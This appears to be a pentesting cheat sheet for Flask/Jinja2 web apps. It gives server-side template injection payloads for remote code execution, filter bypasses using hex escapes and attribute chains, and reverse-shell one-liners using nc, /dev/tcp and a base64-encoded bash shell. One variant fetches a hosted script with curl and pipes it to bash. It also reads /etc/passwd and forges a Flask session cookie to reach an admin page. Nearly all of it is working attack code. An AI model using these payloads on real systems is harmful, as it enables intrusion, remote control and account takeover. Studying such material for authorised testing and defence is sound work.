Flask Jinja2 Pentesting
Last modified: 2023-09-22
Flask is a micro web framework written in Python.
Common Directories
/app.py
/main.py
/modules.py
/modules/__init__.py
/modules/admin.py
SSTI (Server-Side Template Injection)
Sometimes, website may filter specific characters.
If so, URL encode the payload or convert to HEX.
In addition, it’s recommended to send requests using Burp Suite because web browsers automatically update the payload.
First, try below payloads.
{{ 4*2 }}
{{ config.items() }}
# Remove curly brackets
{2*3}
2*3
RCE
If success, we may be able to exploit with OS command injection.
{{ __import__('os').system('ping -c 1 10.0.0.1') }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
{{ [].__class__.__base__.__subclasses__()[422]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
Reverse Shell
{{config.__class__.__init__.__globals__['os'].popen('mkfifo /tmp/ZTQ0Y; nc 10.0.0.1 443 0</tmp/ZTQ0Y | /bin/sh >/tmp/ZTQ0Y 2>&1; rm /tmp/ZTQ0Y').read()}}
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')|attr('read')() }}
# Filter bypass - Base64 encode
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNy80NDQ0IDA+JjEi" | base64 -d | bash').read() }}
Alternatively, we can create a shell script to reverse shell, then execute it in the server side.
For example, create a shell script named "revshell" in local machine.
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
Then host it and start a listener for receiving an incoming request.
# Local terminal 1
python3 -m http.server 8000
# Local terminal 2
nc -lvnp 4444
Now inject SSTI in the target website.
{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.0.0.1:8000/revshell | bash').read()}}
# Filter bypassing
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.0.0.1:8000/revshell | bash")|attr("read")()}}
We may get a shell.
SSTI with Error Page
If the website displays an error page (404, 403, etc.) when we access to the page which does not exists, the path may be reflected in the error page. For example, when we attempt to access to /example.html
which does not exist, the error page will show messages like the following.
No result for /example.html
As you know, we can insert the malicious program using SSTI.
For instance, try to access http://example.com/{{ 2*3 }}
.
The error page will reflect the result of "2*3" as follow.
No result for 6
Decode Session Cookie
The session of cookie in the Flask webapp can be decoded.
Cookie Forgery
1. Create a Python Virtual Environment
python3 -m venv myenv
source myenv/bin/activate
2. Install Packages
pip3 install flask requests waitress
3. Create a Python Script
For instance, create “test.py”.
Replace the "SECRET_KEY" value with the target Flask app's secret key.
#!/usr/bin/env python3
from flask import Flask, session, request
from waitress import serve
import requests, threading, time
app = Flask(__name__)
app.config["SECRET_KEY"] = "c53ac69e07ed112ecb788eb4dc831990"
@app.route("/")
def main():
session["auth"] = "True"
session["username"] = "test" # SSTI may be applied with "{{ 3*7 }}"
return "Check you cookies", 200
# Flask setup/start
thread = threading.Thread(target = lambda: serve(app, port=9000, host="127.0.0.1"))
thread.setDaemon(True)
thread.start()
# Request
time.sleep(1)
print(requests.get("http://localhost:9000/").cookies.get("session"))
4. Run the Script
python3 test.py
The cookie value generated.
Copy and paste it into the Cookie of the HTTP header in browser as below.
Cookie: session=<generated_cookie_value>
Now we can login and access to admin page e.g. /admin.
After exploiting, deactivate the python virtual environment.
deactivate